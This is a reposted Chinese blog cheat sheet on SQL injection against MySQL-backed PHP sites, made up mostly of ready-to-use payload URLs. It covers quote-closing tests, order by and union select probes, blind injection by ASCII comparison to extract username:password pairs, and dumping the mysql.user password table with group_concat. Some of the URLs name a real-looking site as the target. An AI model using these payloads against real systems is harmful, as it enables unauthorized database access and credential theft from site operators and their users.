[轉]字符形注入

字符形注入:
先加引号报错
后检测http://www.hacker.com/abc.php?text=abc' and '1'='1
前面先闭合 后面1 没有闭合是因为程序本身有闭合

后检测
http://www.hacker.com/abc.php?text=abc' order by 1--
http://www.hacker.com/abc.php?text=abc' order by 111111111--
仔细检查是否正常和出错

联合查询union
http://www.hacker.com/abc.php?text=abc' and 1=2 union select 1,2,3--


=====================
盲注
查看MYSQL的版本是不是5.x
http://www.animate.tv/pv/details.php?id=1317881635%20and%20substring(@@version,1,1)=5

当联合查询不工作的时候我们使用subselect(子查询)代替
http://www.site.com/news.php?id=5 and (select 1)=1

是否有权限读mysql.user表
http://www.animate.tv/pv/details.php?id=1317881635%20and%20(select%201%20from%20mysql.user%20limit%200,1)=1

猜表名和列名
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

猜内容
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
也就是猜测用户名第一个字符的ascii码值是否是大于大写字母P的ascii值(具体可以参考ASCII对照表)。
如果显示正常则表示第一个字母的ascii值大于80
从80开始持续递增,直到请求出错

爆不出内容时候试试这种形式
http://www.test.com/sql.php?id=-2 union select 1,unhex(hex(user())),3 from admin

=============================
技巧

必须5.0以上MYSQL,还得有权限才能行
group_concat(user,0x3a,password,0x3a,file_priv,host,0x3c62723e) from mysql.user--

因为我对一些技巧也不是很熟也没有沉淀下来就先写到这里吧!
都是一些基本的。

转载于:https://www.cnblogs.com/bittorrent/archive/2013/05/04/3058625.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值